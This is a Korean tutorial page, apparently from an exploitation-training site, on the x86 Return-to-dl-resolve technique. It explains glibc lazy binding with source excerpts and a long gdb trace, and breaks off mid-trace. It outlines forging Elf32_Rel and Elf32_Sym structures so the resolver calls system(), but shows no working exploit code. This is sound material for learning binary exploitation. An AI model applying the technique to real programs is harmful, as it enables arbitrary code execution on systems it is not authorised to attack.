Excuse the ads! We need some help to keep our site up.

List

Return-to-dl-resolve - x86

  • Return-to-dl-resolve란 프로그램에서 동적라이브러리 함수의 주소를 찾기 위해 Lazy binding 을 사용할 경우 활용이 가능한 기법입니다.
  • Return-to-dl-resolve는 Lazy binding 을 악용해 필요한 함수를 호출합니다.

Lazy binding

Flow

  • Lazy binding을 위해 다음과 같이 함수가 호출됩니다.
    • _dl_runtime_resolve() → _dl_fixup() → _dl_lookup_symbol_x() → do_lookup_x()→ check_match()

Source code - struct

  • Elf32_Rel 구조체는 재배치 테이블 항목을 저장합니다.
typedef uint32_t Elf32_Word;
typedef uint32_t Elf32_Addr;


/* Relocation table entry without addend (in section of type SHT_REL).  */
typedef struct
{
  Elf32_Addr        r_offset;                /* Address */
  Elf32_Word        r_info;                        /* Relocation type and symbol index */
} Elf32_Rel;
  • Elf32_Rel 구조체의 r_info 값은 다음과 같이 2가지 값으로 분할됩니다.
    • ELF32_R_SYM
    • ELF32_R_TYPE
/* How to extract and insert information held in the r_info field.  */
#define ELF32_R_SYM(val)                ((val) >> 8)
#define ELF32_R_TYPE(val)                ((val) & 0xff)
  • Elf32_Sym 구조체는 심볼 테이블 정보를 저장합니다.
typedef uint16_t Elf32_Section;


/* Symbol table entry.  */
typedef struct
{
  Elf32_Word        st_name;                /* Symbol name (string tbl index) */
  Elf32_Addr        st_value;                /* Symbol value */
  Elf32_Word        st_size;                /* Symbol size */
  unsigned char        st_info;                /* Symbol type and binding */
  unsigned char        st_other;                /* Symbol visibility */
  Elf32_Section        st_shndx;                /* Section index */
} Elf32_Sym;

Source code

  • _dl_runtime_resolve() 함수는 다음과 같이 동작합니다.
    • _dl_fixup() 함수에 전달된 인자 값을 레지스터에 저장 후 _dl_fixup() 함수를 호출합니다.
    • _dl_fixup() 함수에 전달되는 인자 값은 2개 입니다.
      • struct link_map *
      • reloc_arg

_dl_runtime_resolve:
...
        # Copy args pushed by PLT in register.
        # %rdi: link_map, %rsi: reloc_index
        mov (LOCAL_STORAGE_AREA + 8)(%BASE), %RSI_LP
        mov LOCAL_STORAGE_AREA(%BASE), %RDI_LP
        call _dl_fixup                # Call resolver.
        mov %RAX_LP, %R11_LP        # Save return value
        # Get register content back.
...
  • _dl_fixup() 함수는 다음과 같이 동작합니다.

    • 이 함수는 D_PTR 매크로 함수를 이용하여 link_map 구조체에서 DT_SYMTAB, DT_STRTAB 영역의 주소 값을 symtab, strtab 변수에 저장합니다.
    • ".rel.plt"영역에서 찾고자 하는 함수의 ".got.plt" 영역의 주소를 reloc 변수에 저장합니다.
      • reloc_offset은 _dl_fixup() 함수에 전달 된 reloc_arg인수 입니다.
    • reloc 구조체 변수에서 r_info의 값을 이용하여 R_SYM정보를 추출합니다.
    • 찾고자 하는 함수의 Symbol table의 주소를 sym변수에 저장합니다.
#ifndef reloc_offset
# define reloc_offset reloc_arg
# define reloc_index  reloc_arg / sizeof (PLTREL)
#endif

...

DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
           ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
           struct link_map *l, ElfW(Word) reloc_arg)
{
  const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
  const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
  const ElfW(Sym) *refsym = sym;
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;
 
...
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);
...
}
  • _dl_lookup_symbol_x() 함수는 다음과 같이 동작합니다.
    • 해당 프로그램에서 사용되는 라이브러리 파일 정보를 확인 합니다.
    • dl_new_hash() 함수를 이용하여 undef_name에 저장된 값을 이용해 생성한 hash값을 new_hash 변수에 저장합니다.
    • do_lookup_x() 함수를 이용하여 라이브러리 파일에서 binding이 필요한 함수를 찾습니다.
lookup_t
_dl_lookup_symbol_x (const char *undef_name, struct link_map *undef_map,
                     const ElfW(Sym) **ref,
                     struct r_scope_elem *symbol_scope[],
                     const struct r_found_version *version,
                     int type_class, int flags, struct link_map *skip_map)
{
	const uint_fast32_t new_hash = dl_new_hash (undef_name);
	...

      int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref,
                             &current_value, *scope, start, version, flags,
                             skip_map, type_class, undef_map);
      
	...
}
  • do_lookup_x() 함수는 다음과 같이 offset값을 추출합니다.

    • scope→r_listdp 에 저장된 값을 이용하여 해당프로그램에서 사용하는 라이브러리 파일의 정보를 가져올수 있습니다.

      • 이 정보를 이용해 로드된 라이브러리 파일의 DT_SYMTAB, DT_STRTAB 영역 주소를 이용해 함수의 offset을 찾습니다.

    • map→l_gnu_buckets[], new_hash, map→l_nbuckets 변수를 이용하여 bucket을 추출합니다.

    • bucket 값을 이용해 map→l_gnu_chain_zero[] 배열에서 값을 추출해 *hasharr 변수에 값을 저장합니다.

    • *hasharr 변수에 저장된 값과 new_hash에 저장된 값을 xor과 shift연산을 통해 값이 0과 같은지 확인합니다.

      • 연산된 값이 0과 같다면 "hasharr - map→l_gnu_chain_zero" 연산을 통해 찾고자하는 함수의 symidx 값을 얻게됩니다.

      • 연산된 값이 0과 다를 경우 while()문에 의해 *hasharr의 값을 증가시켜 다시 확인합니다.

    • symidx 값을 이용하여 symtab[] 배열에서 찾고자하는 함수의 offset 값을 확인할 수 있습니다.

static int
__attribute_noinline__
do_lookup_x (const char *undef_name, uint_fast32_t new_hash,
             unsigned long int *old_hash, const ElfW(Sym) *ref,
             struct sym_val *result, struct r_scope_elem *scope, size_t i,
             const struct r_found_version *const version, int flags,
             struct link_map *skip, int type_class, struct link_map *undef_map)
{
  struct link_map **list = scope->r_list;
  do
    {
      const struct link_map *map = list[i]->l_real;
...
  	  Elf_Symndx symidx;
      int num_versions = 0;
      const ElfW(Sym) *versioned_sym = NULL;

      /* The tables for this map.  */
      const ElfW(Sym) *symtab = (const void *) D_PTR (map, l_info[DT_SYMTAB]);
      const char *strtab = (const void *) D_PTR (map, l_info[DT_STRTAB]);
      const ElfW(Sym) *sym;
      const ElfW(Addr) *bitmask = map->l_gnu_bitmask;
...
          if (__glibc_unlikely ((bitmask_word >> hashbit1)
                                & (bitmask_word >> hashbit2) & 1))
            {
              Elf32_Word bucket = map->l_gnu_buckets[new_hash
                                                     % map->l_nbuckets];
              if (bucket != 0)
                {
                  const Elf32_Word *hasharr = &map->l_gnu_chain_zero[bucket];
 
                  do
                    if (((*hasharr ^ new_hash) >> 1) == 0)
                      {
                        symidx = hasharr - map->l_gnu_chain_zero;
                        sym = check_match (undef_name, ref, version, flags,
                                           type_class, &symtab[symidx], symidx,
                                           strtab, map, &versioned_sym,
                                           &num_versions);
                        if (sym != NULL)
                          goto found_it;
                      }
                  while ((*hasharr++ & 1u) == 0);
                }
...
    }
  while (++i < n);

  /* We have not found anything until now.  */
  return 0;
}
  • 즉, Lazy binding은 찾고자하는 함수의 이름이 이용하여 동적 라이브러리에서 해당 함수의 코드영역을 찾습니다.
  • Return-to-dl-resolve 기법은 다음과 같은 방식으로 원하는 함수를 호출합니다.

    • 메모리 영역에 "Fake struct Elf32_Rel", "Fake struct Elf32_Sym" 구조체, "찾고자하는 함수의 명(system)"를 저장합니다.

    • "reloc_offset"을 이용하여 "Fake struct Elf32_Rel" 영역에 접근 합니다.

    • "Fake struct Elf32_Rel"를 이용하여 "Fake struct Elf32_Sym" 영역에 접근 합니다.

    • "Elf32_Sym ->st_name"을 이용하여 앞에서 저장한 함수 명(system)을 가리키도록 합니다.


Return-to-dl-resolve


Debug

  • 해당 프로그램에서는 main() 함수에서 write() 함수를 처음 호출하게됩니다.
    • 디버깅을 위해 0x8048320 영역에 Break point를 설정합니다.
Break point1
lazenca0x0@ubuntu:~/Documents$ gdb -q ./rop
Reading symbols from ./rop...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x0804845a <+0>:	lea    ecx,[esp+0x4]
   0x0804845e <+4>:	and    esp,0xfffffff0
   0x08048461 <+7>:	push   DWORD PTR [ecx-0x4]
   0x08048464 <+10>:	push   ebp
   0x08048465 <+11>:	mov    ebp,esp
   0x08048467 <+13>:	push   ecx
   0x08048468 <+14>:	sub    esp,0x4
   0x0804846b <+17>:	sub    esp,0x4
   0x0804846e <+20>:	push   0xa
   0x08048470 <+22>:	push   0x8048510
   0x08048475 <+27>:	push   0x1
   0x08048477 <+29>:	call   0x8048320 <write@plt>
   0x0804847c <+34>:	add    esp,0x10
   0x0804847f <+37>:	call   0x804843b <vuln>
   0x08048484 <+42>:	nop
   0x08048485 <+43>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048488 <+46>:	leave  
   0x08048489 <+47>:	lea    esp,[ecx-0x4]
   0x0804848c <+50>:	ret    
End of assembler dump.

gdb-peda$ b *0x8048320
Breakpoint 1 at 0x8048320
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/dl_resolve/rop 

  • write@plt 영역에서는 0x804a014 영역에 저장된 주소로 이동하게 됩니다.
    • 해당 영역에 다음 코드의 주소 값이 저장되어 있습니다.
      • 2번째 호출 부터는 해당 영역에 Libc의 주소 값이 저장되어 Binding 과정이 생략됩니다.
    • 다음 코드에서는 스택에 0x10을 저장한 후 0x80482f0 영역으로 이동합니다.

      • Stack에 저장된 값은 _dl_fixup() 함수의 두번째 인자 값(reloc_arg) 입니다.
Breakpoint 1, 0x08048320 in write@plt ()
gdb-peda$ disassemble write
Dump of assembler code for function write@plt:
   0x08048320 <+0>:	jmp    DWORD PTR ds:0x804a014
   0x08048326 <+6>:	push   0x10
   0x0804832b <+11>:	jmp    0x80482f0
End of assembler dump.
gdb-peda$ x/wx 0x804a014
0x804a014:	0x08048326
gdb-peda$ b *0x80482f0
Breakpoint 2 at 0x80482f0
gdb-peda$ 
  • 다음 코드에서는 push 명령어에 의해 0x804a004 영역에 저장된 값을 Stack에 저장합니다.
    • 0x804a004 영역에 저장된 값은 0xb7fff918 입니다.
    • 해당 값은 _dl_fixup() 함수의 첫번째 인자 값(struct link_map *l) 입니다.
  • 다음 코드에서는 jmp 명령어에 의해 0x804a008 영역에 저장된 주소 값으로 이동합니다.
    • 0x804a008 영역에 저장된 값은 0xb7ff0020 입니다.
    • 해당 영역은 _dl_runtime_resolve() 함수의 시작 주소 입니다.
JMP _dl_runtime_resolve()
gdb-peda$ c
Continuing.

Breakpoint 2, 0x080482f0 in ?? ()
gdb-peda$ x/2i $eip
=> 0x80482f0:	push   DWORD PTR ds:0x804a004
   0x80482f6:	jmp    DWORD PTR ds:0x804a008
gdb-peda$ x/wx 0x804a004
0x804a004:	0xb7fff918
gdb-peda$ x/5wx 0xb7fff918
0xb7fff918:	0x00000000	0xb7fffc04	0x08049f14	0xb7fffc08
0xb7fff928:	0x00000000

gdb-peda$ x/wx 0x804a008
0x804a008:	0xb7ff0020
gdb-peda$ x/2i 0xb7ff0020
   0xb7ff0020 <_dl_runtime_resolve>:	push   eax
   0xb7ff0021 <_dl_runtime_resolve+1>:	push   ecx
gdb-peda$ 
Call _dl_runtime_resolve()

_dl_runtime_resolve()

  • _dl_runtime_resolve() 함수에서는 다음과 같이 동작합니다.

    • eax,ecx,edx에 저장된 값을 Stack에 저장합니다.

    • eax 레지스터에는 _dl_fixup() 함수의 첫번째 인자 값(0xb7fff918)을 저장합니다.

    • edx 레지스터에는 _dl_fixup() 함수의 두번째 인자 값(0x10)을 저장합니다.

_dl_runtime_resolve()
gdb-peda$ b *0xb7ff0020
Breakpoint 3 at 0xb7ff0020: file ../sysdeps/i386/dl-trampoline.S, line 35.
gdb-peda$ c
Continuing.

gdb-peda$ disassemble _dl_runtime_resolve 
Dump of assembler code for function _dl_runtime_resolve:
   0xb7ff0000 <+0>:	push   eax
   0xb7ff0001 <+1>:	push   ecx
   0xb7ff0002 <+2>:	push   edx
   0xb7ff0003 <+3>:	mov    edx,DWORD PTR [esp+0x10]
   0xb7ff0007 <+7>:	mov    eax,DWORD PTR [esp+0xc]
   0xb7ff000b <+11>:	call   0xb7fe97e0 <_dl_fixup>
   0xb7ff0010 <+16>:	pop    edx
   0xb7ff0011 <+17>:	mov    ecx,DWORD PTR [esp]
   0xb7ff0014 <+20>:	mov    DWORD PTR [esp],eax
   0xb7ff0017 <+23>:	mov    eax,DWORD PTR [esp+0x4]
   0xb7ff001b <+27>:	ret    0xc
End of assembler dump.
gdb-peda$ b *0xb7ff002b
Breakpoint 4 at 0xb7ff002b: file ../sysdeps/i386/dl-trampoline.S, line 43.
gdb-peda$ c
Continuing.

Breakpoint 4, _dl_runtime_resolve () at ../sysdeps/i386/dl-trampoline.S:43
43	in ../sysdeps/i386/dl-trampoline.S
gdb-peda$ i r edx
edx            0x10	0x10
gdb-peda$ i r eax
eax            0xb7fff918	0xb7fff918
gdb-peda$

_dl_fixup()

  • 해당 코드에 의해 edx 레지스터에 Elf32_Rel 구조체의 주소값이 저장됩니다.
    • DWORD PTR [ecx+0x4] 영역에 저장된 값은 ".rel.plt" 영역의 시작 주소입니다.

_dl_fixUP - Get the address of ".rel.plt"
gdb-peda$ disassemble _dl_fixup 
Dump of assembler code for function _dl_fixup:
   0xb7fe97e0 <+0>:	push   ebp
   0xb7fe97e1 <+1>:	push   edi
   0xb7fe97e2 <+2>:	mov    edi,eax
   0xb7fe97e4 <+4>:	push   esi
   0xb7fe97e5 <+5>:	push   ebx
   0xb7fe97e6 <+6>:	call   0xb7ff476d <__x86.get_pc_thunk.si>
   0xb7fe97eb <+11>:	add    esi,0x15815
   0xb7fe97f1 <+17>:	sub    esp,0x2c
   0xb7fe97f4 <+20>:	mov    ecx,DWORD PTR [edi+0x7c]
   0xb7fe97f7 <+23>:	mov    eax,DWORD PTR [eax+0x34]
   0xb7fe97fa <+26>:	mov    DWORD PTR [esp+0x8],esi
   0xb7fe97fe <+30>:	add    edx,DWORD PTR [ecx+0x4]
   ...

gdb-peda$ b *0xb7fe97fe
Breakpoint 3 at 0xb7fe97fe: file dl-runtime.c, line 71.
gdb-peda$ c

Breakpoint 3, _dl_fixup (l=0xb7fff918, reloc_arg=0x10) at dl-runtime.c:71
71	dl-runtime.c: No such file or directory.
gdb-peda$ i r ecx
ecx            0x8049f94	0x8049f94
gdb-peda$ x/wx 0x8049f94 + 0x4
0x8049f98:	0x080482b0
gdb-peda$ elfheader .rel.plt
.rel.plt: 0x80482b0 - 0x80482c8 (rodata)
gdb-peda$
  • edx 레지스터에 저장된 값은 Elf32_Rel 구조체의 주소입니다.
    • r_offset 값은 0x0804a014
    • r_info의 ELF32_R_SYM 값은 0x4
    • r_info의 ELF32_R_TYPE 값은 0x7
Struct Elf32_Rel
gdb-peda$ i r edx
edx            0x10	0x10
gdb-peda$ 
#Elf32_Rel 구조체
gdb-peda$ x/2wx 0x080482b0 + 0x10
0x80482c0:	0x0804a014	0x00000407
gdb-peda$ 
  • 해당 코드에서는 eax 레지스터에 .dynstr 의 시작 주소가 저장됩니다.
Get the address of ".dynstr"
gdb-peda$ ni
69	in dl-runtime.c
gdb-peda$ x/i $eip
=> 0xb7fe9801 <_dl_fixup+33>:	mov    eax,DWORD PTR [eax+0x4]
gdb-peda$ i r eax
eax            0x8049f54	0x8049f54
gdb-peda$ x/wx 0x8049f54 + 0x4
0x8049f58:	0x0804822c
gdb-peda$ elfheader .dynstr
.dynstr: 0x804822c - 0x804827c (rodata)
gdb-peda$ x/10s 0x0804822c
0x804822c:	""
0x804822d:	"libc.so.6"
0x8048237:	"_IO_stdin_used"
0x8048246:	"read"
0x804824b:	"__libc_start_main"
0x804825d:	"write"
0x8048263:	"__gmon_start__"
0x8048272:	"GLIBC_2.0"
0x804827c:	""
0x804827d:	""
gdb-peda$

#Elf32_Sym 구조체
gdb-peda$ x/4wx 0x80481cc + 0x4 * 16
0x804820c:	0x00000031	0x00000000	0x00000000	0x00000012
gdb-peda$ 

#strtab + sym->st_name
gdb-peda$ x/s 0x804822c + 0x31
0x804825d:	"write"
gdb-peda$
  • 해당 코드에서는 ebx 레지스터에 .dynsym 영역의 시작 주소가 저장됩니다.
Get the address of ".dynsym"
gdb-peda$ x/14i $eip
=> 0xb7fe9801 <_dl_fixup+33>:	mov    eax,DWORD PTR [eax+0x4]
   0xb7fe9804 <_dl_fixup+36>:	mov    ecx,DWORD PTR [edi+0x38]
   0xb7fe9807 <_dl_fixup+39>:	mov    DWORD PTR [esp+0xc],eax
   0xb7fe980b <_dl_fixup+43>:	mov    ebp,edx
   0xb7fe980d <_dl_fixup+45>:	mov    edx,DWORD PTR [edx+0x4]
   0xb7fe9810 <_dl_fixup+48>:	mov    eax,DWORD PTR [ebp+0x0]
   0xb7fe9813 <_dl_fixup+51>:	mov    esi,edx
   0xb7fe9815 <_dl_fixup+53>:	shr    esi,0x8
   0xb7fe9818 <_dl_fixup+56>:	mov    ebx,esi
   0xb7fe981a <_dl_fixup+58>:	shl    ebx,0x4
   0xb7fe981d <_dl_fixup+61>:	add    ebx,DWORD PTR [ecx+0x4]
   0xb7fe9820 <_dl_fixup+64>:	mov    ecx,DWORD PTR [edi]
   0xb7fe9822 <_dl_fixup+66>:	add    eax,ecx
   0xb7fe9824 <_dl_fixup+68>:	cmp    dl,0x7
gdb-peda$ b *0xb7fe981d
Breakpoint 3 at 0xb7fe981d: file dl-runtime.c, line 73.
gdb-peda$ c
Continuing.

Breakpoint 3, 0xb7fe981d in _dl_fixup (l=0xb7fff918, reloc_arg=<optimized out>) at dl-runtime.c:73
73	in dl-runtime.c
gdb-peda$ i r ecx
ecx            0x8049f5c	0x8049f5c
gdb-peda$ x/wx 0x8049f5c + 0x4
0x8049f60:	0x080481cc
gdb-peda$ elfheader dynsym
.dynsym: 0x80481cc - 0x804822c (rodata)

#Elf32_Sym 구조체
gdb-peda$ x/4wx 0x80481cc + 0x4 * 16
0x804820c:	0x00000031	0x00000000	0x00000000	0x00000012
gdb-peda$ 
  • 다음과 같이 _dl_lookup_symbol_x() 함수에 전달되는 첫번째 인자값을 확인 할 수 있습니다.

    • 해당 프로그램의 ".dynstr" 영역 시작 주소(0x804822c)에 Elf32_Sym 구조체의 st_name 변수에 저장된 값(0x31)을 더합니다.

    • 해당 영역(0x804825d)에 찾고자하는 함수의 이름(write)이 저장되어 있습니다.
strtab + sym->st_name
gdb-peda$ x/30i $eip
=> 0xb7fe981d <_dl_fixup+61>:	add    ebx,DWORD PTR [ecx+0x4]
   ...
   0xb7fe9882 <_dl_fixup+162>:	mov    eax,DWORD PTR [esp+0xc]
   0xb7fe9886 <_dl_fixup+166>:	add    eax,DWORD PTR [ebx]
   0xb7fe9888 <_dl_fixup+168>:	lea    ecx,[esp+0x1c]
   0xb7fe988c <_dl_fixup+172>:	sub    esp,0xc
   0xb7fe988f <_dl_fixup+175>:	push   0x0
gdb-peda$ b *0xb7fe9882
Breakpoint 2 at 0xb7fe9882: file dl-runtime.c, line 111.
gdb-peda$ c
Continuing.

Breakpoint 2, _dl_fixup (l=0xb7fff918, reloc_arg=<optimized out>) at dl-runtime.c:111
111	dl-runtime.c: No such file or directory.
gdb-peda$ i r esp
esp            0xbffff538	0xbffff538
gdb-peda$ x/wx 0xbffff538 + 0xc
0xbffff544:	0x0804822c
gdb-peda$ elfheader .dynstr
.dynstr: 0x804822c - 0x804827c (rodata)
gdb-peda$ ni
0xb7fe9886	111	in dl-runtime.c
gdb-peda$ x/i $eip
=> 0xb7fe9886 <_dl_fixup+166>:	add    eax,DWORD PTR [ebx]
gdb-peda$ i r ebx
ebx            0x804820c	0x804820c
gdb-peda$ x/wx 0x804820c
0x804820c:	0x00000031
gdb-peda$ i r eax
eax            0x804822c	0x804822c

#strtab + sym->st_name
gdb-peda$ x/s 0x804822c + 0x00000031
0x804825d:	"write"
strtab + sym->st_name

_dl_lookup_symbol_x()

  • 다음과 코드에 의해 undef_name에 저장된 값에 대한 hash값을 연산합니다.

    • undef_name에 저장된 값은 "write"입니다.

    • dl_new_hash() 함수의 코드 영역은 0xb7fe4a90 ~ 0xb7fe4aa1 까지 입니다.

    • "write" 문자열에 대한 new_hash 값은 0x10a8b550 입니다.

const uint_fast32_t new_hash = dl_new_hash (undef_name)
gdb-peda$ disassemble _dl_lookup_symbol_x
Dump of assembler code for function _dl_lookup_symbol_x:
   ...
   0xb7fe4a90 <+48>:	mov    ecx,ebx
   0xb7fe4a92 <+50>:	add    edx,0x1
   0xb7fe4a95 <+53>:	shl    ecx,0x5
   0xb7fe4a98 <+56>:	add    ebx,ecx
   0xb7fe4a9a <+58>:	add    ebx,eax
   0xb7fe4a9c <+60>:	movzx  eax,BYTE PTR [edx]
   0xb7fe4a9f <+63>:	test   al,al
   0xb7fe4aa1 <+65>:	jne    0xb7fe4a90 <_dl_lookup_symbol_x+48>
   ...
gdb-peda$ b *0xb7fe4a9a
Breakpoint 3 at 0xb7fe4a9a: file dl-lookup.c, line 569.
gdb-peda$ c
Continuing.

Breakpoint 2, 0xb7fe4a9a in dl_new_hash (s=0x804825d "write") at dl-lookup.c:569
569	dl-lookup.c: No such file or directory.
gdb-peda$ c
Continuing.
Breakpoint 2, 0xb7fe4a9a in dl_new_hash (s=0x804825e "rite") at dl-lookup.c:569
569	in dl-lookup.c
gdb-peda$ 
Continuing.

Breakpoint 2, 0xb7fe4a9a in dl_new_hash (s=0x804825d "write") at dl-lookup.c:569
569	dl-lookup.c: No such file or directory.
gdb-peda$ 
Continuing.
Breakpoint 2, 0xb7fe4a9a in dl_new_hash (s=0x804825e "rite") at dl-lookup.c:569
569	in dl-lookup.c
gdb-peda$ 
Continuing.

Breakpoint 2, 0xb7fe4a9a in dl_new_hash (s=0x8048261 "e") at dl-lookup.c:569
569	in dl-lookup.c
gdb-peda$ ni

568	in dl-lookup.c
gdb-peda$ i r ebx
ebx            0x10a8b550	0x10a8b550
gdb-peda$

do_lookup_x()

  • 다음 영역에서 "new_hash % map→l_nbuckets" 연산 결과를 확인 할 수 있습니다.

    • 0xb7fe45a0영역에 Break point를 설정합니다.

    • div 명령어에 의해 연산된 나머지 값을 저장하기 위해 xor명령어를 이용해 edx 레지스터의 값을 초기화 합니다.
    • 나누기 대상인 new_hash(0x10a8b550) 를 eax 레지스터에 저장합니다.
    • div 명령어를 이용하여 eax에 저장된 값과 esp + 0x18에 저장된 map→l_nbuckets(0x000003f3) 값을 나눕니다.
    • 해당 값을 나누어 얻은 몫(0x437e2)은 eax에 저장되며, 나머지 값(0x3ca)은 edx에 저장됩니다.
new_hash % map->l_nbuckets
gdb-peda$ disassemble do_lookup_x 
Dump of assembler code for function do_lookup_x:
   ...
   0xb7fe45a0 <+1504>:	xor    edx,edx
   0xb7fe45a2 <+1506>:	mov    eax,ebx
   0xb7fe45a4 <+1508>:	div    DWORD PTR [esp+0x18]
   ...
gdb-peda$ b *0xb7fe45a0
Breakpoint 2 at 0xb7fe45a0: file dl-lookup.c, line 413.
gdb-peda$ c
Continuing.

Breakpoint 2, do_lookup_x (undef_name=undef_name@entry=0x804825d "write", new_hash=new_hash@entry=0x10a8b550, old_hash=old_hash@entry=0xbffff4c0, ref=0x804820c, result=0xbffff4c8, scope=0xb7fffa74, i=0x1, 
    version=0xb7fd54a0, flags=0x1, skip=0x0, type_class=0x1, undef_map=0xb7fff918) at dl-lookup.c:413
413	dl-lookup.c: No such file or directory.
gdb-peda$ ni

0xb7fe45a2	413	in dl-lookup.c
gdb-peda$ i r edx
edx            0x0	0x0
gdb-peda$ i r ebx
ebx            0x10a8b550	0x10a8b550
gdb-peda$ ni

0xb7fe45a4	413	in dl-lookup.c
gdb-peda$ i r esp
esp            0xbffff3e8	0xbffff3e8
gdb-peda$ x/wx 0xbffff3e8 + 0x18
0xbffff400:	0x000003f3
gdb-peda$ p/x 0x10a8b550 / 0x000003f3
$1 = 0x437e2
gdb-peda$ ni

0xb7fe45a8	413	in dl-lookup.c
gdb-peda$ i r eax
eax            0x437e2	0x437e2
gdb-peda$ i r edx
edx            0x3ca	0x3ca
gdb-peda$ 
  • 앞에서 연산한 값을 이용하여 bucket에 값을 저장합니다.

    • map->l_gnu_buckets 영역의 주소는 0xb7e099c8 입니다.

    • 0xb7e099c8 + 0x3ca * 4 = 0xb7e0a8f0

    • bucket의 값은 0x912 입니다.

Elf32_Word bucket = map->l_gnu_buckets [ new_hash % map->l_nbuckets ];
gdb-peda$ x/2i $eip
=> 0xb7fe45a8 <do_lookup_x+1512>:	mov    eax,DWORD PTR [edi+0x188]
   0xb7fe45ae <do_lookup_x+1518>:	mov    eax,DWORD PTR [eax+edx*4]
gdb-peda$ i r edi
edi            0xb7fd51b0	0xb7fd51b0
gdb-peda$ x/wx 0xb7fd51b0 + 0x188
0xb7fd5338:	0xb7e099c8
gdb-peda$ ni

0xb7fe45ae	413	in dl-lookup.c
gdb-peda$ i r eax
eax            0xb7e099c8	0xb7e099c8
gdb-peda$ i r edx
edx            0x3ca	0x3ca
gdb-peda$ p/x 0xb7e099c8 + 0x3ca * 4
$3 = 0xb7e0a8f0
gdb-peda$ x/wx 0xb7e0a8f0
0xb7e0a8f0:	0x00000912
gdb-peda$ ni

415	in dl-lookup.c
gdb-peda$ i r eax
eax            0x912	0x912
gdb-peda$ 
  • 앞에서 확인한 bucket 값을 이용하여 다음과 같이 *hasharr에 값을 저장합니다.

    • 0xb7fe45c9 영역에 break point를 설정합니다.

    • edx 레지스터에는 map->l_gnu_chain_zero의 주소 값이 저장되어 있습니다.
    • eax 레지스터에는 bucket 값이 저장되어 있습니다.
    • edx+eax*4(0xb7e0a96c + 0x912 * 4) 연산의 결과 값은 0xb7e0cdb4 이며, 이 값이 hasharr의 값 입니다.

const Elf32_Word *hasharr = &map->l_gnu_chain_zero[ bucket ];
gdb-peda$ x/10i $eip
=> 0xb7fe45b1 <do_lookup_x+1521>:	test   eax,eax
   0xb7fe45b3 <do_lookup_x+1523>:	je     0xb7fe40d2 <do_lookup_x+274>
   0xb7fe45b9 <do_lookup_x+1529>:	mov    edx,DWORD PTR [edi+0x18c]
   0xb7fe45bf <do_lookup_x+1535>:	mov    DWORD PTR [esp+0x34],ebp
   0xb7fe45c3 <do_lookup_x+1539>:	mov    ebp,ecx
   0xb7fe45c5 <do_lookup_x+1541>:	mov    DWORD PTR [esp+0x7c],esi
   0xb7fe45c9 <do_lookup_x+1545>:	lea    ebx,[edx+eax*4]
   0xb7fe45cc <do_lookup_x+1548>:	lea    edx,[esp+0x48]
   0xb7fe45d0 <do_lookup_x+1552>:	mov    DWORD PTR [esp+0x18],edx
   0xb7fe45d4 <do_lookup_x+1556>:	lea    edx,[esp+0x4c]
gdb-peda$ b *0xb7fe45c9
Breakpoint 3 at 0xb7fe45c9: file dl-lookup.c, line 417.
gdb-peda$ c
Continuing.
Breakpoint 3, do_lookup_x (undef_name=undef_name@entry=0x804825d "write", new_hash=new_hash@entry=0x10a8b550, old_hash=old_hash@entry=0xbffff4c0, ref=0x804820c, result=0xbffff4c8, scope=0xb7fffa74, i=0x1, 
    version=0xb7fd54a0, flags=0x1, skip=0x0, type_class=0x1, undef_map=0xb7fff918) at dl-lookup.c:417
417	in dl-lookup.c
gdb-peda$ i r edx
edx            0xb7e0a96c	0xb7e0a96c
gdb-peda$ i r eax
eax            0x912	0x912
gdb-peda$ p/x 0xb7e0a96c + 0x912 * 4
$4 = 0xb7e0cdb4
gdb-peda$ ni

423	in dl-lookup.c
gdb-peda$ i r ebx
ebx            0xb7e0cdb4	0xb7e0cdb4
gdb-peda$ 
  • *hasharr 의 값은 "while ((*hasharr++ & 1u) == 0)" 코드에 의해 증가되며, 다음과 같이 확인 할 수 있습니다.

    • ebx 레지스터에 hasharr 값(0xb7e0cdb4)이 저장되어 있으며, "++" 연산에 의해 0x4가 더해집니다.

while ((*hasharr++ & 1u) == 0)
gdb-peda$ x/10i $eip
=> 0xb7fe45cc <do_lookup_x+1548>:	lea    edx,[esp+0x48]
   0xb7fe45d0 <do_lookup_x+1552>:	mov    DWORD PTR [esp+0x18],edx
   0xb7fe45d4 <do_lookup_x+1556>:	lea    edx,[esp+0x4c]
   0xb7fe45d8 <do_lookup_x+1560>:	mov    DWORD PTR [esp+0x20],edx
   0xb7fe45dc <do_lookup_x+1564>:	jmp    0xb7fe45eb <do_lookup_x+1579>
   0xb7fe45de <do_lookup_x+1566>:	xchg   ax,ax
   0xb7fe45e0 <do_lookup_x+1568>:	add    ebx,0x4
   0xb7fe45e3 <do_lookup_x+1571>:	test   al,0x1
   0xb7fe45e5 <do_lookup_x+1573>:	jne    0xb7fe47fb <do_lookup_x+2107>
   0xb7fe45eb <do_lookup_x+1579>:	mov    eax,DWORD PTR [ebx]
gdb-peda$ b *0xb7fe45e0
Breakpoint 4 at 0xb7fe45e0: file dl-lookup.c, line 430.
gdb-peda$ c
Continuing.
Breakpoint 4, do_lookup_x (undef_name=undef_name@entry=0x804825d "write", new_hash=new_hash@entry=0x10a8b550, old_hash=old_hash@entry=0xbffff4c0, ref=0x804820c, result=0xbffff4c8, scope=0xb7fffa74, i=0x1, 
    version=0xb7fd54a0, flags=0x1, skip=0x0, type_class=0x1, undef_map=0xb7fff918) at dl-lookup.c:430
430	in dl-lookup.c
gdb-peda$ i r ebx
ebx            0xb7e0cdb4	0xb7e0cdb4
gdb-peda$ p/x 0xb7e0cdb4 + 0x4
$6 = 0xb7e0cdb8
gdb-peda$ ni

